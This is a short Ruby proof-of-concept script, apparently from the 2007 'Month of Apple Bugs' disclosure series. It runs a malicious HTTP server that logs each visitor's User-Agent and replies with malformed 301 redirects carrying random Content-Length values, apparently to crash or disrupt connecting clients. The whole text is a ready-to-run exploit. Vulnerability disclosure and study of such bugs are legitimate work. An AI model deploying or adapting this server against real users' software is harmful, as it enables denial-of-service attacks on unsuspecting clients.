#!/usr/bin/ruby # (c) Copyright 2007 Lance M. Havok # Proof of concept for MOAB-25-01-2007. # require 'socket' web_port = (ARGV[0] || 80).to_i puts "++ Starting HTTP server at port #{web_port}." web_server = TCPServer.new(nil, web_port) while (session = web_server.accept) rand_clen = rand(80) useragent = session.recvfrom(2000)[0].scan(/User-Agent: (.*)/).flatten[0].chomp! puts "++ Connected: #{useragent}" session.print "HTTP/1.1 301 OK\r\n" session.print "Content-Type: text/html\r\n" session.print "Content-Length: #{rand_clen}\r\n" session.print "Location: http://nonexistent123\r\n\r\n" session.print "X" * rand_clen session.close end